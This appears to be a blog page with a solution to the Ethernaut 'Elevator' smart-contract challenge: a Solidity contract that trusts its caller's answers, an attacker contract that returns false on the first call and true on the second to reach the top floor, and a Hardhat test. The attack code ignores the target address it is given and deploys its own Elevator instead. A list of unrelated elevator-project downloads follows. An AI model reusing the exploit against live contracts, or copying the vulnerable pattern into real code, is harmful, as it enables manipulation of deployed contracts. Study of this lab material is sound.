`

Elevator

 
阅读更多
Elevator.sol
// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function test(uint256 _floor) public{
        console.log("test");
    }
    
    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);
        
        if(!building.isLastFloor(_floor)) {
            console.log("go");
            floor = _floor;
            top = building.isLastFloor(floor);
            console.logBool(top);
        }
    }
}



// SPDX-License-Identifier: MIT
pragma solidity >= 0.6.0;
import "hardhat/console.sol";
import "./Elevator.sol";


contract ElevatorAttack {
    uint floor;

    function isLastFloor(uint256 _floor) external returns (bool){
        console.log("inherit");
        if(floor==_floor){
            return true;
        }
        floor = _floor;
        console.log("isLastFloor");
        return false;
    }

    function attack(address addr) external{
        //创建新合约
        Elevator elevator = new Elevator();
        elevator.goTo(10);
    }
}




const { expect } = require("chai");
const { ethers } = require("hardhat");

contractName = "Elevator";
attackContractName = "ElevatorAttack";


describe(contractName, function () {
  it("test ", async function () {
    const Contract = await ethers.getContractFactory(contractName);
    const contract = await Contract.deploy();
    const AttackContract = await ethers.getContractFactory(attackContractName);
    const attackContract = await AttackContract.deploy();
    await attackContract.attack(contract.address);
  });
});
分享到:
评论

相关推荐

    Elevator Evacuation in Emergency Situations.pdf

    algorithm that has been designed by ThyssenKrupp Elevator Company for the express purpose of evacuating mid to high rise buildings and demonstrates the reduced time of egress as opposed to traditional...

    elevator NuSMV 建模 模型检测 电梯

    标题中的“elevator NuSMV 建模 模型检测 电梯”表明这是一个关于使用NuSMV工具对电梯系统进行建模和模型检测的项目。NuSMV是一款功能强大的模型检查器,它支持SMV(Structured Model Verifier)语言,用于形式化...

    返回顶部按钮elevator.js.zip

     var elevator = new Elevator({  mainAudio: '/src/to/audio.mp3',  endAudio: '/src/to/end-audio.mp3'  }); } // You can run the elevator, by calling. elevator.elevate(); [removed] ...

    赵昊伟_C语言学习电梯程序Elevator

    【标题】"赵昊伟_C语言学习电梯程序Elevator"是一个C语言编写的电梯控制模拟程序,旨在帮助学习者理解并实践C语言编程以及多线程、条件变量等概念在实际问题中的应用。 【描述】这个项目可能包含了电梯运行逻辑的...

    elevator_java系统_电梯捎带系统_

    2. **面向对象编程**:电梯系统的设计基于面向对象的原则,包括类的定义(如Elevator、Floor和Passenger),以及对象的实例化和方法调用。例如,电梯类可能包含上升、下降、开门和关门等方法。 3. **多线程**:为了...

    elevator.exe

    elevator.exe

    Elevator program(C# 窗体)电梯程序

    在“Elevator_new”程序中,开发者可能使用了Windows Forms控件来构建电梯模拟的界面,如按钮、文本框和标签,以展示电梯的状态和楼层信息。 3. **自定义Delay函数**:在描述中提到,程序没有使用内置的`Timer`组件...

    ElevatorSimulation.zip_elevator software_电梯客流_电梯群控系统_电梯群调度_评估软件

    电梯群控系统服务质量和运行效能评估软件设计与实现 建立了电梯客流到达模型,然后建立了6种电梯群调度模型

    java-elevator.rar_elevator_java elevator_java-elevator

    在这个“java-elevator.rar_elevator_java elevator_java-elevator”项目中,开发者通过Java语言来实现了一个电梯模拟系统,旨在帮助学习者理解和实践这些关键的Java特性。 首先,我们要理解电梯的基本工作原理:...

    Elevator电梯仿真

    在电梯仿真中,C++被用来定义类(如Elevator、Floor)来表示电梯和楼层,以及处理这些对象的方法(如openDoor、closeDoor、moveTo等)。 二、多线程 电梯仿真通常涉及多线程编程,因为电梯系统中电梯和楼层的操作是...

    159-Elevator Display_elevator_bascomavr_

    标题中的“159-Elevator Display_elevator_bascomavr_”表明这是一个关于电梯显示系统的项目,使用了Bascom AVR编程语言。Bascom AVR是一种基于Basic语法的微控制器编程工具,专为AVR系列微处理器设计,常用于嵌入式...

    my_ELEVATOR.rar_elevator_my_ELEVATOR_双电梯_电梯 双_电梯模拟界面

    本文将深入探讨一个名为"my_ELEVATOR.rar_elevator_my_ELEVATOR_双电梯_电梯 双_电梯模拟界面"的项目,这是一个专为电梯控制系统设计的双电梯模拟软件。这个软件的开发者通过交互式的按键界面和状态栏,成功地模拟了...

    Python库 | stix2_elevator-1.0.0-py2.py3-none-any.whl

    python库,解压后可用。 资源全名:stix2_elevator-1.0.0-py2.py3-none-any.whl

    java for elevator

    this is the java code for elevator which can be applied on elevator operation.

    elevator simulator

    this is a elevator simulator,winform,csharp,and ds

    Active guiding and balance for a elevator

    标题“Active guiding and balance for a elevator”涉及到的是一项关于电梯技术的专利,主要关注的是超速电梯的主动控制系统,旨在解决电梯运行中的振动问题,提高乘客的舒适度和电梯系统的稳定性。这一技术对于...

    evaluacion flores guido_elevator_

    标题“evaluacion flores guido_elevator_”暗示了一个关于电梯控制系统的评估或项目,可能是一个编程任务或课程作业,由Guido Flores完成。描述中的“deber de programación número o3”进一步确认这是一个编程...

    extrapoint_01_programma_heading1qr_andisable_elevator_disable_pe

    标题“extrapoint_01_programma_heading1qr_andisable_elevator_disable_pe”暗示这是一个关于为残障人士设计电梯控制程序的大学项目。这个项目可能涉及到编程、无障碍设施设计以及电子工程领域,尤其是针对特殊群体...

    EE.rar_elevator_汇编电梯_电梯ee02_电梯汇编

    本文将深入探讨"EE.rar_elevator_汇编电梯_电梯ee02_电梯汇编"这个压缩包中的知识点,主要围绕电梯的汇编语言编程进行讨论。 首先,汇编语言是计算机编程的基础语言之一,它直接对应于机器指令,程序员通过汇编语言...

    dianti.rar_elevator_电梯

    在本项目"电梯.rar_elevator_电梯"中,我们关注的是一个针对六层楼电梯的控制程序,主要使用C++语言编写。这个程序旨在模拟真实世界中的电梯操作,包括接收乘客请求、调度电梯移动以及在各个楼层停靠。 1. **电梯...

Global site tag (gtag.js) - Google Analytics